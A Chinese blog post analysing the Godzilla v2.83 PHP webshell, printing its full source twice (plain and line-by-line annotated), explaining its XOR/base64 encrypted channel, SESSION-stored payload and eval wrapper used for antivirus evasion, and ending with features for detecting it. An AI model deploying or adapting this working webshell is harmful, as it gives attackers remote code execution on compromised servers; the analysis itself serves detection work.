哥斯拉PHP马分析

前言

这篇文章分析了哥斯拉PHP马的特征和原理,写这篇文章的原因是希望提高对哥斯拉马的识别、改造能力。
笔者接触安全的时间较短,难免会有疏漏,恳请发现问题的大佬给予指正。

正文

先贴一下哥斯拉V2.83生成的PHP马(选择了base64作为加密方式)

<?php
    session_start(); 
    @set_time_limit(0);  
	@error_reporting(0);  
    function E($D,$K){  
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){ 
        $F=O(E(O($_POST[$P]),$T)); 
        if (isset($_SESSION[$V])){ 
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
			$R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));  
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F; 
        }
    }

可以看到内容不是特别多,攻击荷载都在SESSION里,大部分代码在实现加密通信。一眼看过去好像没有特别明显的特征,不像冰蝎可以直接找"AES"然后看上下文。

接下来分析每个方法的作用,不想看分析过程可以直接看备注在每个方法后面的结论:

<?php
    session_start(); //创建或者重启一个会话
    @set_time_limit(0);  //设置程序最长运行时间:永久
	@error_reporting(0);  // 关闭错误报告
    function E($D,$K){  //通过密钥对 $D 进行加/解密
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D); //用base64 对 $D 进行编码
    }
    function O($D){
        return base64_decode($D);//用base64 对 $D 进行解码
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){ 
        $F=O(E(O($_POST[$P]),$T)); //通过密码传输攻击荷载并解密
        if (isset($_SESSION[$V])){ //判断SESSION是否已经存入了攻击荷载
            $L=$_SESSION[$V];
            $A=explode('|',$L);//将SESSION中的攻击荷载分割成函数
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
			$R->nvoke($A[0]);//通过eval执行攻击荷载
            echo substr(md5($P.$T),0,16);//将传入的远控命令加密后,取前16位放在返回值前面,其余的放在返回值后面(二次加密)
            echo Q(E(@run($F),$T));  //执行远控命令,并对返回值进行加密
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F; //将攻击荷载存储到SESSION
        }
    }

接下来是分析过程:

一开头的E()方法通过传入字符串和盐值来加密字符串,这个方法在代码中出现了两次,分别用来处理传入的远控命令,以及对返回哥斯拉服务端的字符串进行加密。

Q()、O()两个方法分别实现base64加解密。

再往下看,发现文件定义了三个变量

$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a';

P的值用来定义木马监听POST请求中的哪个变量,简单来说就是如果给P赋值pass,就需要通过在POST请求中给pass变量赋值,去访问该文件,实现远控。

V的值用来在SESSION中存取攻击荷载,可以随意赋值。

T的值用来存储E()方法中加解密会用到的盐值。


一行一行看存储、利用攻击荷载的部分:

if (isset($_POST[$P])){ 

通过isset()监听POST请求,

$F=O(E(O($_POST[$P]),$T))

取出传入的攻击荷载/远控命令解密后赋给F。

$A=explode('|',$L);

将字符串格式的攻击荷载按照“|”分割成方法

 class C{public function nvoke($p) {eval($p."");}}

创建对象C,只有一个eval方法,用于执行远控命令。通过C对象而不是eval()来执行命令也能起到免杀的作用

$R->nvoke($A[0])

执行攻击荷载

echo substr(md5($P.$T),0,16)

先将远控命令和盐值进行拼接,然后计算拼接得出的字符串的MD5值,取前16位放在返回值前面

echo Q(E(@run($F),$T)); 

通过攻击荷载中的run()方法执行远控命令,然后对返回的字符串加密,并输出加密后的字符串。

echo substr(md5($P.$T),16);

取之前计算出的字符串的MD5值第16位后面的部分,放在返回值的后面。回显前后添加字符串,一方面是在进行二次加密,另一方面可以让哥斯拉服务端知道返回的是哪条命令的回显。


总结一下木马的利用逻辑:第一次通信时,服务端通过POST方式传递一个名叫pass的参数给木马,给pass参数赋的值是加密后的一组用”|”隔开的方法,也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION,供之后使用。
从第二次通信开始,pass传入的是远控命令,通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端。


总结木马特征:

1、run()方法是写死在攻击荷载里面的,代码一定会调用这个方法执行传入的参数。

2、有一个向SESSION中存储攻击荷载的过程,就是会有一个$_SESSION[$XXX]=P的过程,这里的P是通过POST方法传进来的参数。

3、会将传入的参数解密、拼接后取MD5,前16位加到回显的前端,其余的部分加到回显的后端。

因为涉及到了服务端的运行逻辑、不管再怎么改造、变形,以上几点应该是没法隐藏的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值